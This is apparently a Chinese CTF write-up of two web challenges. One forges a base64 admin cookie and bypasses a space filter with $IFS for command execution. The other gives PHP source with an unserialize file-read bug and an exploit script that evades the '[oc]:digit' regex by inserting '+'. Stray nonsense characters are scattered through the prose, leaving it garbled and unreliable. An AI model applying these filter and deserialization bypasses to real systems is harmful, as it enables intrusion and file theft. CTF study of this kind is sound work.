ezweb2
掃描目錄邪乍，發(fā)現(xiàn)admin.php降狠，提示不是admin發(fā)現(xiàn)cookie有dXNlag%3D%3D的字樣，先url解碼dXNlag==庇楞，猜測(cè)base64
image
改成
adminbase64編碼后進(jìn)入admin.phpimage
cmd，猜測(cè)RCEimage
ls /又提示error姐刁，經(jīng)過(guò)測(cè)試發(fā)現(xiàn)過(guò)濾了空格芥牌，可以用$IFS繞過(guò)。image
image
easy
給了源碼
<?php
@error_reporting(1);
include 'flag.php';
class baby
{
public $file;
function __toString()
{
if(isset($this->file))
{
$filename = "./{$this->file}";
if (file_get_contents($filename))
{
return file_get_contents($filename);
}
}
}
}
if (isset($_GET['data']))
{
$data = $_GET['data'];
preg_match('/[oc]:\d+:/i',$data,$matches);
if(count($matches))
{
die('Hacker!');
}
else
{
$good = unserialize($data);
echo $good;
}
}
else
{
highlight_file("./index.php");
}
?>
可以通過(guò)反序列化進(jìn)行任意文件讀取
<?php
class baby
{
public $file = 'flag.php';
function __toString()
{
$this->file;
if(isset($this->file))
{
$filename = "./{$this->file}";
print_r($filename);
if (file_get_contents($filename))
{
return file_get_contents($filename);
}
}
}
}
$baby = new baby();
$a = serialize($baby);
echo $a;
但是正則preg_match('/[oc]:\d+:/i',$data,$matches);waf掉了[oc]:數(shù)字聂使。在四前面加%2B就可以了壁拉，也就是+
image
